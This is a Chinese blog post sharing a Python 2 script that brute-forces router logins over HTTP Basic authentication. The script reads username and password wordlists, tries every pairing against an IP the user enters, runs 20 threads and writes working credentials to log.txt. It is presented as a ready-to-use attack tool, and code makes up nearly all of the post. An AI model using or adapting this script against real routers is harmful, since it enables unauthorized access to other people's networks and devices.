python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python多线程编程方式分析示例详解
Dec 06 Python
详解使用 pyenv 管理多个版本 python 环境
Oct 19 Python
Python3实现汉语转换为汉语拼音
Jul 08 Python
python实现BP神经网络回归预测模型
Aug 09 Python
在pycharm中显示python画的图方法
Aug 31 Python
jenkins配置python脚本定时任务过程图解
Oct 29 Python
python cv2截取不规则区域图片实例
Dec 21 Python
Python+appium框架原生代码实现App自动化测试详解
Mar 06 Python
Python GUI编程学习笔记之tkinter中messagebox、filedialog控件用法详解
Mar 30 Python
如何使用python切换hosts文件
Apr 29 Python
Python图像阈值化处理及算法比对实例解析
Jun 19 Python
通过代码实例了解Python3编程技巧
Oct 13 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
关于我转生变成史莱姆这档事:第二季PV上线,萌王2021年回归
2020/05/06 日漫
使用php测试硬盘写入速度示例
2014/01/27 PHP
PHP生成word文档的三种实现方式
2016/11/14 PHP
Linux服务器下PHPMailer发送邮件失败的问题解决
2017/03/04 PHP
PHP中echo与print区别点整理
2021/03/09 PHP
表单验证的完整应用案例探讨
2013/03/29 Javascript
JavaScript利用构造函数和原型的方式模拟C#类的功能
2014/03/06 Javascript
ie浏览器使用js导出网页到excel并打印
2014/03/11 Javascript
JavaScript删除指定子元素代码实例
2015/01/13 Javascript
浅谈jQuery中setInterval()方法
2015/07/07 Javascript
jquery实现适用于门户站的导航下拉菜单效果代码
2015/08/24 Javascript
jQuery+Ajax+PHP+Mysql实现分页显示数据实例讲解
2015/09/27 Javascript
JS实现的网页背景闪电闪烁效果代码
2015/10/17 Javascript
由简入繁实现Jquery树状结构的方法(推荐)
2016/06/10 Javascript
AngularJs  E2E Testing 详解
2016/09/02 Javascript
HTML5+Canvas调用手机拍照功能实现图片上传(下)
2017/04/21 Javascript
vue 运用mock数据的示例代码
2017/11/07 Javascript
js运算符的一些特殊用法
2018/07/29 Javascript
解决vue prop传值default属性如何使用,为何不生效的问题
2020/09/21 Javascript
Python中unittest用法实例
2014/09/25 Python
介绍Python的Django框架中的QuerySets
2015/04/20 Python
Python 中pandas.read_excel详细介绍
2017/06/23 Python
查看django版本的方法分享
2018/05/14 Python
Python实现求解一元二次方程的方法示例
2018/06/20 Python
tensorflow 初始化未初始化的变量实例
2020/02/06 Python
Python模块/包/库安装的六种方法及区别
2020/02/24 Python
Django 自定义404 500等错误页面的实现
2020/03/08 Python
css3 position fixed固定居中问题解决方案
2014/08/19 HTML / CSS
阿拉伯世界最大的电子卖场:Souq埃及
2016/08/01 全球购物
全球第二大家装零售商:Lowe’s
2018/01/13 全球购物
台湾母婴用品购物网站:Infant婴之房
2018/06/15 全球购物
会计实习生自我鉴定
2013/12/12 职场文书
学生自我评价范文
2014/02/02 职场文书
小升初自荐信范文
2015/03/05 职场文书
最感人的道歉情书
2015/05/12 职场文书
「月刊Action」2022年5月号封面公开
2022/03/21 日漫